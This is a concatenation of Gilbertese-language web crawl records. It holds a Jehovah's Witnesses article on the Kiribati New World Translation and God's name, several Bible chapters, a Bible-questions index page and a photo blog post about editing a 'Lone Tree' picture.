aika bati, nakoni karaoan te rairai ae eti raoi. A kan rarabakau taan rairai n te Baibara teuana ni kamaunai kiibu tabeua ake a iangoia bwa a aongkoa a kabotu. Te Baibara riki are teuana e bitii taeka ke kibuntaeka ake a kona ni kaunia taani wareware tabeman ni boong aikai. N te katoto, e kataaki n anaaki iai nanoia aomata n aranakin te Atua bwa te \"Tama-te-Tina.\"\nKangaangan te Ota n Aran te Atua\nTao te bwai ae moan te aki karaunano riki, e bon irekereke ma aran te Atua ae Iehova. (A raira aran te Atua taan rabakau tabeman bwa \"Iawe.\") Ni katoton te Baibara rimoa, ao iai aua manin te taetae n Ebera aika tei ibukin aran te Atua, ae a kona ni koreaki ni manin te taetae n Ingiriti bwa YHWH ke JHVH. E kaoti te ara ae kaokoro aei n te mwaiti ae kaania 7,000 te tai n te O Tetemanti. (Te Otinako 3:15; Taian Areru 83:18) E mataata ngkanne bwa bon nanon ara tia Karikiriki bwa a na ataa arana taan taromauria ao ni kabongana!\nMa n tienture aika nako ao a kairaki I-Iutaia ni maakakia taimonio bwa a na katoka atoatongan aran te Atua. Imwina riki ao e a rotaki te aroaro ni Kristian n te aeka n iango anne. (Mwakuri 20:29, 30; 1 Timoteo 4:1) E a riki bwa te katei ae bwabwainaki irouia taan raira te Baibara, oneani mwin aran te Atua n te nakoa ae \"te Uea.\" Ni boong aikai ao angiini Baibara a kamauna aran te Atua. Tabeua Baibara n te taetae n Ingiriti a kamauna naba te taeka ae \"aram\" man te kibu ae Ioane 17:6, are e kangai iai Iesu: \"I a tia ni kaotiota aram.\" Te Baibara ae te Good News Translation e raira te kibu aei ni kangai: \"I a tia ni kaotiotiko.\"\nE aera ngkai a aki bati ni kani kabongana aran te Atua? Iangoi rongorongo aika mena n te boki ae te Practical Papers for the Bible Translator. E boreetiaki iroun te United Bible Societies (UBS), are tabeakin angiini mwakuri n raitaeka n te Baibara ni katobibia te aonnaba. E taekinaki ae kangai n te kaongora teuana: \"Kioina ngkai YHWH bon te ara ni koaua, ngaia are te anga n rairai ae te kabanea n raoiroi riki bon rairana ni kaineti ma aron atongana.\" Ma e anga te kauring te kaongora aei ni kangai: \"Ma iai naba koaua tabeua aika riai n iangoaki.\"\nTera aron etini baika aongkoa a koaua aikai? A taku taan rabakau tabeman ni kaineti ma te boki aei: \"Ngkana ti kabongana te ara ae Iawe, ao e na kona ni kauekei iango aika bure . . . , n nanona ae 'Iawe' bon te Atua ae ianena, ke te Atua ae boou ao a aki kinaa, ae kaokoro ma te Atua are a a tia n ataia.\" Ma e katuruturua raoi te Baibara n ana reirei bwa e boni kaokoro Iehova ae te Atua ma atua aika taromauriaki irouia aomata aika tiaki Kristian!\nA taku taan rabakau tabeman bwa a bon tii ira te katei nikawai ngke a onea mwin aran te Atua n te nakoa ae \"te Uea.\" Ma e kabuakakai irakini katei nikawai Iesu ake e aki karineaki iai te Atua. (Mataio 15:6) Irarikina, e bon aki kariaiakaki n te Baibara oneani mwin te ara n te nakoa. A bati nakoan Iesu Kristo n aron \"Ana Taeka te Atua\" ao \"aia Uea ueea.\" (Te Kaotioti 19:11-16) E riai ngkanne n oneaki mwin aran Iesu n teuana mai buakon nakoana aikai?\nE taekinaki ae kangai n te kaongora teuana riki n te boki are taekinaki mai mwaina: \"E bon riai n aki kabonganaaki te ara ae 'Iehova.'\" Bwa tera bukina? \"A kakoauaa taan rabakau bwa aron atongana n te moantai e kaan riki ngkana e taekinaki bwa 'Iawe.'\" Ma a rairaki naba aara man te Baibara aika a rangi n ataaki n aron Itaia, Ieremia, ao Iesu, n aaro aika kuri n titeboo ma aroni moani katangaia n te taetae n Ebera (Yeshaʽ·yaʹhu, Yir·meyahʹ, ao Yehoh·shuʹaʽ). Kioina ngkai te ara ae \"Iehova\" bon aron rairan aran te Atua teuana ae eti, ao e kabonganaaki n te taetae n Ingiriti ao n taetaen aaba riki tabeua i nanon taian tienture, bon akea ngkanne bukina ae riai bwa e na aki kabonganaaki. Te rawa ni kabongana aran te Atua, e boni boto i aon nanoia aomata ao te kairiribai, ma e aki boto i aon te wanawana ao te ataibwai.\nMa te kangaanga aei e aki tii irekereke ma te rabakau ao te atatai. N te katoto, te bwakuaku temanna n te UBS i Inria e korea taekani mwini kanakoan aran te Atua mani koroboki ake a boni mena ngkoa iai. E taku: \"E aki bongana irouia kaain te Hindu nakoan te Atua. A kan ataa aran te Atua ao a aki kona ni kinaa raoi teuane arana anne ma tii ngkana a ataa arana.\" Anne naba aroia aomata ni kabane ake a ukoukora te Atua. E rangi ni kakawaki ataakin aran te Atua bwa e aonga n ataaki bwa tiaki ngaia tii te mwaaka ae akea nanona, ma bon te Aomata ni koaua ae ti kona ni kinaa. (Te Otinako 34:6, 7) Mangaia are e kangai te Baibara: \"Ane e taboa aran Iehova ao e na kamaiuaki.\" (I-Rom 10:13) A bon riai ni kakabongana aran te Atua taan taromauria!\nTe Rairai ae E Karineaki Iai te Atua\nBon te rikirake ae moan te kakawaki ngke e moani boreetiaki n 1950 te Baibara ae Tabu Ibukin te Aonnaba ae Boou\nE aki tii karineaki te Atua ni kaokan te ara anne ma e rikirake naba iai otara. Ibukini kabwarabwaraana, a bati taan rairai aika raira Mataio 22:44 ni kangai: \"E taku te Uea nakon au Uea.\" Ma antai ngkanne ae taetae, ao e taetae nakon antai? E rairaki ni kangai Mataio 22:44 n te Baibara ae Tabu\nAntai ae E Baireia?\nE boreetiaki te Baibara ae Tabu\nE aera ngkai e aranaki te rairai aei bwa te Rairai ae te Aonnaba ae Boou? Ni moan rongorongo ake ni katoton te Baibara aei ae boreetiaki n 1950, ao e kabwarabwaraaki iai bwa te ara aei e kaotiota te koaua ae nene aana, ae aomata ngkai a a \"mena i matan te mataroa nakon te aonnaba ae boou,\" are e beritanaki n 2 Betero 3:13. N aron are e koreia te komete aei, ao kioina ngkai ti a mena i nanon \"taini bitakin te aonnaba ngkoa nakon te aonnaba ae boou ae raoiroi,\" e rangi ni kakawaki ngkanne bwa e na ootanako ootan \"te koaua ae itiaki ae man ana Taeka te Atua\" rinanon taian rairai n te Baibara.\nTe Rairai ae Eti Raoi\nE moanibwaiaki etin raoi te rairai. Taan rairai nakon te taetae n Ingiriti a rairai man te taetae rimoa ae te taetae n Ebera, n Aramwaike, ao ni Kuriiti, ni kabonganai koroboki aika taiani kabanea n tamaroa aika tauraoi. * E rairaki te koroboki nikawai aei ma te taratara raoi ae bati, n te aro are e na eti raoi n aron ae kona ni karaoaki, ma a kabonganaaki taeka aika ota iai taani wareware ni boong aikai.\nE aki kamimi ngkai a kamoamoaa te Baibara ae Tabu\nKatauraoan te Baibara n Taetae Riki Tabeua\nA a tia Ana tia Kakoaua Iehova ni katauraoa te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou n taetae ake i rarikin riki te taetae n Ingiriti. E a tia ni boreetiaki te Baibara aei ae tabwanin ke tii te iterana n taetae aika 129. Ibukini kabebetean te mwakuri aei, e karaoaki te anga n rairai i aon te Baibara aei are e a ikotaki iai te ukeuke i aoni kanoan te Baibara ma te kukune ae boou ae te mwakuri n te kaombiuta. E kateaki te rabwata ae aranaki bwa te Translation Services ibukini buokaia taan rairai. E teimatoa te Rabwata n Tautaeka ibukia Ana tia Kakoaua Iehova ni kaira te mwakuri n raira te Baibara rinanon ana Komete Ibukin Rongorongo. Ma e kangaa ni karaoaki te mwakuri aei?\nTe moan, a rineaki Kristian ake a a tia ni katabui maiuia bwa a na riki bwa kaain te tiim n rairai. E kaotaki mani baike a a tia n riki bwa ngkana a kaai ni mwakuri taan rairai n oneani mwin are a na tatannako ni mwakuri, ao a kona ni karekea te rairai ae tamaroa riki. (Taeka N Rabakau 11:14) N etina, a riai kaain te tiim n tatabemania nako ni mwaatai ngkai taan rairi aia boki Ana tia Kakoaua Iehova ngaiia. Ao a karekea naba kaain te tiim aia reirei ni kataneiai ni kaetietin aron te rairai n te Baibara, ao riki ni kabonganaan taiani burokuraem n te kaombiuta.\nA reireinaki kaain te tiim n rairai bwa a na raira te Baibara ae eti raoi ma ni kai ota irouia angiia aomata ao tiaki tii bwakuaku. E riai n rairaki n ira raoi tein te taetae are e rairaki mai iai ngkana e kona, ma e riai naba n aki bitaki are e nanonaki n te moan rairai rimoa. E kangaa ni karaoaki aei? Iangoa te Baibara ae e a tibwa otinako aei. A moana te rairai kaain te tiim man rinean taeka ni Kiribati aika titeboo nanoia ma taeka n te Baibara ake a kakabonganaaki n te Baibara ae Tabu\nMa e bati riki ae nanonaki n te mwakuri n raitaeka nakon ae e tii oneaki mwin te kibuntaeka teuana n teuana. E kainnanoaki te mwakuri ae bati, n te aro are taeka ni Kiribati ake a rineaki a bon raira are e nanonaki ni kiibu ni kabane ake a kabonganaaki iai. E riai te taratara raoi bwa e aonga ni kan ao n tangiraoi n iraki tuan te kuramwa ao aroni kabonganaan taeka n te kibuntaeka. E noraki mwin te mwakuri korakora anne ngkana e taraaki te Baibara aei. E rairaki ana Taeka te Atua n te Baibara ae Tabu\nTi kaumakiko bwa ko na nenera te Baibara ae Tabu\n^ bar. 24 Te moan rairai are karaoaki ngkoa n te taetae n Ingiriti, e kabonganaaki The New Testament in the Original Greek ae karaoaki irouia Westcott ao Hort ibukin rairan te taetae ni Kuriiti. Te Biblia Hebraica ae katauraoaki iroun R Kittel, e kabonganaaki ibukin rairan te taetae n Ebera. N te rairai ae karaoaki n 2013, ao a kabonganaaki naba iai koroboki tabeua aika taiani babirati aika karaoaki tao n te kauoua ao n te katenua n tienture C.E. A neneraki naba koroboki aika tibwa karaoaki irouia taan rabakau, n aroni koroboki aika katauraoaki irouia Nestle ao Aland ao iroun te United Bible Societies.\n^ bar. 30 Ibukin rongorongo riki tabeua ni kaineti ma booto n reirei n rairan te Baibara ao kanoan riki te Baibara ni Kiribati aei, taiaoka rinanon te kaongora n te bukinibaa ae A1 ao A2 n te Baibara ae te Rairai ae te Aonnaba ae Boou.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na5-2016-tebetembwa\/otinakon-te-rairai-ae-te-aonnaba-ae-boou-n-te-taetae-ni-kiribati\/","date":"2018-10-17T16:40:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511203.16\/warc\/CC-MAIN-20181017153433-20181017174933-00423.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2107,"character_repetition_ratio":0.077,"word_repetition_ratio":0.001,"special_characters_ratio":0.228,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"60 \"Teirake ngkoe ae te aine,+ kaotaa te oota, bwa e a roko am oota.\nE a oota i aom mimitongin Iehova.+\n2 Bwa noria! e na rabuna te aonnaba te rotongitong\nAo natannaomata te roo ae matenten.\nMa e na oota i aom Iehova,\nAo e na noraki mimitongina i aom.\n4 Euti matam ao taratara nako!\nA a ikotaki ni kabane, a a roko ni kawariko.\n5 N te tai anne ao ko na noria ao ko na rangi ni kukurei,+\nAo e na kakatonga nanom ao ko na kimwareirei,\nIbukina bwa a na nakoim kaubwaini marawa,\nAo a na kawariko kaubwaia natannaomata.+\nA na roko te koraki nako ake mai Teeba,\nAo a na uota te koora ma te ribano.*\nA na tataekina karaoiroan Iehova.+\n7 A na ikotaki nakoim nanain nako Keta.+\nA na toro iroum tiibu mwaane mai Nebaiota.+\n8 Antai aika kiba aikai n ai aron taian nang,\nN ai aroia taobe nakoni nneia ni maeka?*\n9 Bwa a na kabotoi aia kantaninga i aou taian abamwakoro,+\nA rimoa kaibuken Taretiti\nBwa a na uotiia natim mwaane mai kiraroa,+\nN ikotaki ma aia tirewa ao aia koora,\nNakon aran Iehova ae Atuam ao nakon Teuare Tabu iroun Iteraera,\n10 A na katei am oo ianena,\nAo a na beku iroum aia uea,+\nBwa I oreiko n uniu,\nMa N na nanoangaiko n au akoi.+\n11 A na teimatoa n uki n taai nako mataroan am oo,+\nAo a na aki in n te ngaina ke n te bong,\nBwa a na uotii nakoim kaubwaia natannaomata,\nAo a na rimoa aia uea.+\n12 Bwa e na maunanako te natannaomata ao te tautaeka n uea are aki toro iroum,\nAo a na boni kamaunaaki natannaomata.+\n13 E na kawariko tamaroan Rebanon,+\nBwa a na katamaroaa nnen au tabo ae tabu.\nN na katamaroaa nneni waeu.+\n14 A na roko natiia te koraki ake a karawawatako ao a na bobaraaki i matam.\nA na bobaraaki i waem te koraki nako ake a aki karineko,\nAo a na araniko bwa ana kaawa Iehova,\nAe ana Tion Teuare Tabu iroun Iteraera.+\n15 N oneani mwin are ko kitanaki ao ko riribaaki, ao akea ae e ririnanom,+\nN na karikiko bwa nibwan te kamoamoaaki ae akea tokina,\nAo te bwai ni kakimwareirei i nanon rooro ni kabane.+\nAo ko na bon ataia ae ngai ae Iehova bon am tia Kamaiu,\nAo Teuare Mwaaka ae Atuan Iakoba bon te tia Manga Kabooko.+\n17 N oneani mwin te buraati ao N na uotaamai te koora,\nAo n oneani mwin te biti ao N na uotaamai te tirewa,\nAo te buraati n oneani mwin te kai,\nAo te biti n oneani mwin taian atibu.\nAo N na mwiokoa te rau bwa am mataniwi\nAo te raoiroi bwa te tia kammwakuriko.+\n18 E na aki manga ongoraeaki taekan te iowawa i abam,\nKe te kamaunanakoaki ma te urubwai i aon tiam nako.+\nAo ko na arani am oo bwa Kakamaiu+ ao mataroan am oo bwa Kamoamoa.\n19 Bwa e nang aki manga riki taai bwa ootam n te ngaina,\nAo e nang aki manga kaotako maaman namwakaina,\nBwa e nang riki Iehova bwa am oota ae akea tokina,+\nAo e nang riki Atuam bwa tamaroam.+\n20 E nang aki manga bung am taai,\nAo e nang aki manga mamaara otan am namwakaina,\nBwa e na riki Iehova bwa am oota ae akea tokina,+\nAo a nang toki am bongi n tanginiwenei.+\n21 Ao a nangi bane n raoiroi am aomata.\nA na abana te aba n aki toki.\n22 E na riki bwa tenga ane e karako,\nAo ane e uarereke e na riki bwa te natannaomata ae korakora.\nN na kawaekoaa n taina ngai ae Iehova.\"","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/23\/60","date":"2018-11-18T13:12:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744368.74\/warc\/CC-MAIN-20181118114534-20181118140534-00174.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":604,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"59 Noria! E aki rangi ni kororo bain Iehova n te aro ae e a aki kona ni kakamaiu,+\n2 Tiaki ngaia anne, bon ami kairua ae karaurenakoingkami ma Atuami.+\nBon ami bure ae e kairia bwa e na karabai matana mairoumi,\nAo n rawa n ongo iroumi.+\n3 Bwa a kabarekaaki nanoni baimi n te raraa+\nAo tabonibaimi n te bure.\nA taekini baika kewe riami+ ao a wirikirikia te buakaka newemi.\n4 Akea ae e wewete ibukin te raoiroi,+\nAo akea ae e nakon te boowi ma te koaua.\nA onimakina te bwai ae akea bongana+ ao a taekina te bwai ae akea uaana.\nA bikoukoua te kangaanga ao a bungia te bwai ae karuanikai.+\n5 A karaurei bunnimoaia naeta aika boitin naakai,\nAo a rarangaa ngaon ten takareau.+\nE na mate ane e kang bunnimoaia,\nAo te bunnimoa are tabwenaua e na raure bwa te naeta ae te baiba.\n6 E na aki riki ngaon ten takareau bwa te kunnikai,\nAo a na aki rabunia n te baere a karaoia.+\nA karuanikai aia mwakuri,\nAo a mena i nanoni baia mwakuri n iowawa.+\n7 A biribiri waeia nakoni karaoan ae buakaka,\nAo a kawaekoaia bwa a na katutua raraan te aomata ae akea ana bure.+\nAia iango bon iango aika karuanikai.\nE mena te uruaki ma te karawawata i nanoni kawaia.+\n8 A aki ataa kawain te raoi,\nAo akea te kaetitaeka ae riai ni kawaia.+\nA kabwaouai kawaia.\nAkea ae e toutoui ae e na ataa te raoi.+\n9 Anne bukina ae e raroanako iai te kaetitaeka ae riai mairoura,\nAo e aki ooira te raoiroi.\nTi teimatoa ni kantaningaa te oota ma noria! bon te rotongitong,\nTi kantaningaa te oota ma ti teimatoa n nakonako n te roo.+\n10 Ti riringa te oo ni kakaae n aroia mataki.\nTi teimatoa n riringi bwaai ni kakaae n aroia te koraki aika akea mataia.+\nTi tatanako ngke e kirokiro tawanou n aron ae kaanga rotongitongin te tairiki,\nAo kaanga maate ngaira i buakoia aomata aika korakora.\n11 Ti bane n teimatoa ni bekorara n aroia beea\nAo ti tangitang n nanokawaki n aroia taobe.\nTi kantaningaa te kaetitaeka ae riai, ma bon akea,\nTi kantaningaa te kakamaiu, ma e raroanako mairoura.\nBwa a mena ara karitei iroura,\nTi atai raoi ara kairua.+\n13 Ti bure nakon Iehova ma ni kakeaa\nAo ti katannako mairoun Atuara.\nTi taekina te karawawata ma te karitei,+\nTi bikoukoui n te nano taeka aika kewe ao ti wirikirikii taeka aika kewe aikai.+\nBwa e tatanako te koaua* ni maraen te kaawa,\nAo e aki kona n rin te bwai ae eti.\n16 E noria bwa ai akea te aomata,\nAo e kubanako ngkai akea temanna ae kani bubutii ibukia,\nNgaia are e a karokoa te kakamaiu* anganibaina,\nAo e boutokaia raoiroina.\n17 Ao e karina te raoiroi i aona bwa kaanga te kunnikai ni buaka\nE karina te kunnikai ni karekekai bwa oneana+\nAo e niria n te ingaingannano bwa kaanga te kunnikai ae te kooti.*\n18 E na angania kaniwangaia ibukin te bwai are a karaoia:+\nAe te un nakoia taani kakaitaraa, ao te karekekai nakoia akana kairiribai nakoina.+\nAo e na angania abamwakoro te bae a riai n anganaki.\n19 A na maaka aran Iehova mani bungin taai,\nAo mimitongina man otin taai,\nBwa e na roko Iehova n aron te karaanga ae korakora raangana\nAe e karangaa taamneina.\nNakoia te koraki ake i aban Iakoba ake a rairaki man te bure,\"+ bon ana taeka Iehova.\n21 \"Ni kaineti ngkanne ma ngai, aio au berita ma ngaiia,\"+ bon ana taeka Iehova. \"A na aki kona ni kanakoaki mai wim, mai wia natim,* ke mai wia tibum,* taamneiu are mena i aom ma au taeka ake I kaaki i wim,\" bon ana taeka Iehova, \"mangkai ao n aki toki.\"","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/23\/59","date":"2018-11-17T00:05:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743247.22\/warc\/CC-MAIN-20181116235534-20181117021534-00152.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":621,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 N aron anne, ngkami aika buuaine, kam na aantaeka nakoia buumi,+ bwa ngkana a aki ongeaba buumi+ nakon te taeka, ao a na anaaki nanoia n aroaromi, e ngae ngke kam aki taetae, 2 ibukina bwa a nori aroaromi aika itiaki+ ae raonaki n te karinerine ae bati. 3 Katamaroaami ae riai, tiaki katamaroaan tinanikumi n aroni biran irannatumi, ao bwainani bwaai ni katamaroa aika koora+ ke kunnikai aika raraoi, 4 ma katamaroaami ae riai bon te aomata ae raba are n te nano ae karina katamaroaana ae aki kona ni mka, ae te nano ae nimamannei+ ma n rau, ae moan te kakawaki i matan te Atua. 5 Bwa anne naba aroni katamaroaaia aine ake ngkoa ake a itiaki ake a kabotoa aia kantaninga i aon te Atua, ao a aantaeka nakoia buuia, 6 n aron Nei Tara ae ongeaba iroun Aberaam ao e atoatongnga bwa ana uea.+ Ao kam a riki bwa natina, ngkana kam teimatoa ni karaoa ae raoiroi ao n aki maaka te bwai teuana ae kakamaaku.+\n7 Ao ngkami buumwaane, kam na teimatoa ni maeka ma buumi n te aro naba anne ma te atatai.* Angania aine karineaia+ bwa kaanga te mwangko ae mamaara riki, kioina ngkai taani bwaibwai naba ngaiia ma ngkami+ n te maiu are reke man ana akoi ae rianako te Atua, bwa e aonga n aki tutukaki ami tataro.\n8 Ni kabaneana ngkanne, kam na bane n nanoteuana,*+ kaotiota te atataiaomata, te itangitangiri n tari, te nanoanga,+ ao te nanorinano.+ 9 Tai kabooa mwin te buakaka n te buakaka+ ke te kabuakaka n te kabuakaka,+ ma ni kaitaraan anne, kam na kakabwaiaa+ te aba, bwa kam weteaki nakon aei bwa kam aonga ni karekea te kakabwaia.\n10 Bwa \"ane e tangira te maiu ma ni kan nori boong aika raraoi, ao e riai n taua newena man taekinan te bwai ae buakaka+ ao riana man te mwamwanaa te aba. 11 Ke e rairakinako man te buakaka+ ao ni karaoa ae raoiroi.+ Ke e ukoukora te rau ao ke e kaea ni kan taua.+ 12 Bwa a mena matan Iehova* i aoia akana raoiroi, ao a uki taningana nakon aia kakorakora n tataro ni bubutii,+ ma e ekiianako akana kakaraoa ae buakaka matan Iehova.\"*+\n13 Ni koauana, antai te aomata ae e na karawawataingkami ngkana kam ingainga ni kakaraoa ae raoiroi?+ 14 Ma kam a kukurei,+ e ngae naba ngkana kam kammarakaki ibukin te raoiroi. Ma tai mamaaka te baere a mamaakua* aomata tabemwaang, ke n tabeaianga iai.+ 15 Ma kam na butimwaea Kristo bwa te Uea ao tabuia i nanomi, ao tauraoi n taai nako ni kaekaia aomata nako ake a titiraki bwa tera bukin te kantaninga ane iroumi, ma karaoa anne ma te nimamannei+ ao te karinerine ae bati.+\n16 Kateimatoa raoiroini mataniwin nanomi,+ bwa n aki ongea te baere kam taetae ni kaitaraaki iai, ma ibukin aroaromi aika raoiroi ngkai taan rimwini Kristo+ ngkami, ao ane a na maamaa+ akana taetae ni kaaitaraingkami. 17 Bwa e raoiroi riki ngkana kam maraki ibukini karaoan ae raoiroi+ ngkana nanon te Atua bwa e kariaia anne, nakon ae kam na maraki ibukini karaoan ae buakaka.+ 18 Bwa e mate Kristo tii te taina ibukini buure+ ma e manena n aki toki, ae te aomata ae raoiroi ae mate ibukia aomata aika buakaka,+ bwa e aonga ni kairingkami nakon te Atua.+ E kamateaki n te rabwata+ ma e a manga kamaiuaki n te rabwata n taamnei.*+ 19 Ao e nako n arona aei n tataekina te rongorongo nakoia taamnei ake a karabuutinaki+ 20 ake a aki ongeaba ngkoa ngke e taotaona nanona te Atua n tataninga,* n ana bong Noa,+ ngke e tabe ni kabaaki te aake+ are uotiia aika karako mwaitiia aika waniman aomata,* ni kamaiuia rinanon te ran.+\n21 E kamaiuingkami naba ngkai te bwabetito, ae boni kaikonakan te baenne, (ae tiaki kakeaani kamwaraan te rabwata, ma bon te bubutii nakon te Atua ibukini karekeani mataniwin te nano ae raoiroi),+ rinanoni mangautin Iesu Kristo. 22 E a mena i angaatain te Atua,+ bwa e a tia n nako karawa, ao a a kaakiaki i aana anera ma tautaeka ao taiani mwaaka.+","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/60\/3","date":"2018-11-20T11:54:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746386.1\/warc\/CC-MAIN-20181120110505-20181120132505-00424.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":669,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te taeka n reirei ae manena man te Baibara, e a tia ni buokiia mirion ma mirion bwa e na kakukurei mwengaia.\nUkera te bae taekinaki n te Baibara ibukin te tangira, te wene n taanga ao te kaai ni maeka.\nE riai n rangi n ataa raoi riki aroni karekean te reitaki ae teimatoa ao ni kakukurei te tia karika te mare.\nReiakinna bwa tera ae e kariaia te Atua ao tera ae e ribaia.\nE nako te iango aei mairoun te Atua? Iangoa ana taeka te Baibara ibukini kabatiaan te buu.\nIangoi booto n reirei tabeua man te Baibara aika irekereke ma boraoin te reeti ao te mare.\nTe Wene n Taanga\nTera Ana Taeka te Baibara Ibukin te Wene n Taanga i Marenaia Mwaane ma Mwaane ke Aine ma Aine? E kona ni kakukureia te Atua te aomata ae kani wene n taanga ma raona ni mwaane ke n aine?\nA a butanako ngkai kaakibotu aika bwaitingako. Ma te koaua bwa e a kariaiakaki kioina ngkai e a taabangaki?\nE koaua ae te bure karekean te kakukurei n te wene n taanga?\nNgkana e nang iangoaki babairean te utu ke kamarangaan te kariki, iai tuua aika a na iangoi moa taanga?\nTaeka n ibuobuoki aika itiua aika boto man te wanawana ae reke n te Baibara, a kona ni buokiko ni kaitaraa te mwakuri n tangako nakoim.\nA bati n te Baibara booto n reirei aika manena ake a na buokiko ni maroro ma natim i aon taekan te wene n taanga, ao ni kamanoia mairouia taani karaoi mwakuri n tangako.\nMotinnano\nTe koaua bwa a kakawaki iroun te Atua bwainnaoraki aika ti rinei?\nN te Baibara ao e tua te Atua te 'rawa nakon te raraa.' E kangaa ni kaineti aei ma boong aikai?\nReiakinna bwa tera ana iango te Atua ibukin te teei ae e a tibwa beru, ao aron te Baibara ni buokiia taanga ni karaoan aia motinnano ae kakawaki aei.\nKo mataaiakina te taitai? Baikara ana boto n reirei tabeua te Baibara ake ko riai n iangoi?\nNgkana e aki taekinaki te moko n te Baibara, e na kangaa ngkanne ni kaekaaki te titiraki aei?\nTera Ana Taeka te Baibara Ibukin te Inaomata n Rinea ae Ti na Karaoia? E a Kamani Bairei Arora te Atua?\nA bati ake a kakoauaa bwa a a kamani baireaki baika a na riki nakoia. Te koaua bwa e irekereke ara rinerine ma nakoraoini maiura?","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ibukin-te-anua-aroaro-ni-maiu\/","date":"2018-11-21T02:41:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746926.93\/warc\/CC-MAIN-20181121011923-20181121033923-00257.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":408,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko boni bae n tia n totoua te kawai are e biri ri tanrake mai tabon te airstrip are i Bonriki Airport ao ni buti nakoTemwaiku. Ngkana ko a tia ao ko na bae n tia n noora te aroka aio. E uakaan ma te auti are te boratentao. Tatara tanrake n taabo akanne ao ko na noora te ren ane e tei n ti ngaia n te tanrake anne.\nI rawea te tamnei aio n ririki aika a nako ma n te tai aei ao I a manga katoka ikai ibukin am kakibotu. Bon te karangaina ae I raweia iai. Oin raweana irou bwa iai te photo contest iaon te theme ae 'Lone Tree' are I ira buakona iaon teuana te website.\nObjects akana n te foreground (land, tree, sea, sun rays) bon taian original. Bukina bwa e aki rangi ni katika te mata te original sky aingaia are I a bitia nakon ae ko noria aio. Ngaia anne, I kataia ni blend (katomaa) te background ma te foreground n te aro are e na karako te kaokoro. E aki bebete irou karaona n te Photoshop (riki ngkai I a tibwa learn) ao I kabanea tao 5-6 hours.\nSee you in our next image .. what will it be?","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/aerophotoblog.com\/2017\/10\/25\/lone-tree\/","date":"2018-11-19T07:10:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745486.91\/warc\/CC-MAIN-20181119064334-20181119090334-00540.warc.gz","language":"gil","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000054836273193}","num_words":208,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9 Ao e na riki aran te kaawa aei bwa kakatongau, karaoiroau, ao neboakiu i mataia natannaomata nako aika n te aonnaba, ake a na ongo baika raraoi ni kabane aika I karokoi i aoia.+ Ao ane a na maaku ao a na rurubenebene+ ibukini baika raraoi ni kabane ma te rau are I karokoa i aon te kaawa aei.'\"+","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061127\/1715","date":"2018-11-17T00:40:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743247.22\/warc\/CC-MAIN-20181116235534-20181117021534-00544.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 